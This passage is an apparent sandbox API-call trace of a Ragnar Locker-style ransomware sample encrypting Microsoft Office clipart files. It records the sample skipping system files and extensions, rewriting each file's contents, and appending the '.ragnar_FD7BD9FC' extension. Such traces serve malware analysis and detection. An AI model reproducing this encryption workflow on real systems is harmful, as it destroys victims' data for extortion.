nNumberOfBytesToLockHigh=0x0) returned 1 [0089.095] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe14, lpOverlapped=0x0) returned 1 [0089.095] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.095] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.095] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.095] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.095] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.096] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.096] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.096] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.096] GetProcessHeap () returned 0x580000 [0089.096] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.096] CloseHandle (hObject=0xf4) returned 1 [0089.096] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" [0089.096] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.ragnar_FD7BD9FC" [0089.096] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.097] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02361_.WMF", cAlternateFileName="")) returned 1 [0089.097] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.097] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02361_.WMF" | out: lpString1="NA02361_.WMF") returned="NA02361_.WMF" [0089.097] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF") returned=".WMF" [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="autorun.inf") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="boot.ini") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="bootfont.bin") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="bootsect.bak") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="bootmgr") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="bootmgr.efi") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="desktop.ini") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="iconcache.db") returned 1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="ntldr") returned -1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="ntuser.dat") returned -1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="ntuser.ini") returned -1 [0089.097] lstrcmpiW (lpString1="NA02361_.WMF", lpString2="thumbs.db") returned -1 [0089.097] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.097] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.097] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.097] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.097] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.097] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.098] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf")) returned 0x20 [0089.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.098] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6084) returned 1 [0089.098] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.098] GetProcessHeap () returned 0x580000 [0089.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.098] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.100] VirtualAlloc (lpAddress=0x0, dwSize=0x17c4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.100] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.100] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x17c4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x17c4, lpOverlapped=0x0) returned 1 [0089.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.101] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17c4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.101] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x17c4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x17c4, lpOverlapped=0x0) returned 1 [0089.101] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17c4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.101] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.101] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.101] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.101] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.101] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.102] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.102] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.102] GetProcessHeap () returned 0x580000 [0089.102] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.102] CloseHandle (hObject=0xf4) returned 1 [0089.102] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" [0089.102] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.ragnar_FD7BD9FC" [0089.102] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.103] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd28, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02368_.WMF", cAlternateFileName="")) returned 1 [0089.103] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.103] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02368_.WMF" | out: lpString1="NA02368_.WMF") returned="NA02368_.WMF" [0089.103] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF") returned=".WMF" [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="autorun.inf") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="boot.ini") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="bootfont.bin") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="bootsect.bak") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="bootmgr") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="bootmgr.efi") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="desktop.ini") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="iconcache.db") returned 1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="ntldr") returned -1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="ntuser.dat") returned -1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="ntuser.ini") returned -1 [0089.103] lstrcmpiW (lpString1="NA02368_.WMF", lpString2="thumbs.db") returned -1 [0089.103] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.103] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.103] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.103] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.103] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.103] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.103] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf")) returned 0x20 [0089.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.104] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3368) returned 1 [0089.104] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.104] GetProcessHeap () returned 0x580000 [0089.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.104] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.106] VirtualAlloc (lpAddress=0x0, dwSize=0xd28, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.106] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd28, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd28, lpOverlapped=0x0) returned 1 [0089.106] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.106] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd28, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.106] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd28, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd28, lpOverlapped=0x0) returned 1 [0089.107] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.107] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.107] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.107] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.107] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.107] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.107] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.107] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.107] GetProcessHeap () returned 0x580000 [0089.107] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.107] CloseHandle (hObject=0xf4) returned 1 [0089.107] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" [0089.107] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.ragnar_FD7BD9FC" [0089.107] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.108] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA02371_.WMF", cAlternateFileName="")) returned 1 [0089.108] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.108] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA02371_.WMF" | out: lpString1="NA02371_.WMF") returned="NA02371_.WMF" [0089.108] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF") returned=".WMF" [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="autorun.inf") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="boot.ini") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="bootfont.bin") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="bootsect.bak") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="bootmgr") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="bootmgr.efi") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="desktop.ini") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="iconcache.db") returned 1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="ntldr") returned -1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="ntuser.dat") returned -1 [0089.108] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="ntuser.dat.log") returned -1 [0089.109] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="ntuser.ini") returned -1 [0089.109] lstrcmpiW (lpString1="NA02371_.WMF", lpString2="thumbs.db") returned -1 [0089.109] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.109] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.109] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.109] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.109] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.109] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.109] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf")) returned 0x20 [0089.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.109] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3188) returned 1 [0089.109] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc6b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.109] GetProcessHeap () returned 0x580000 [0089.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.109] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.111] VirtualAlloc (lpAddress=0x0, dwSize=0xc74, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.111] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xc74, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xc74, lpOverlapped=0x0) returned 1 [0089.111] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.111] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc74, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.111] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xc74, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xc74, lpOverlapped=0x0) returned 1 [0089.112] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc74, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.112] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.112] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.112] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 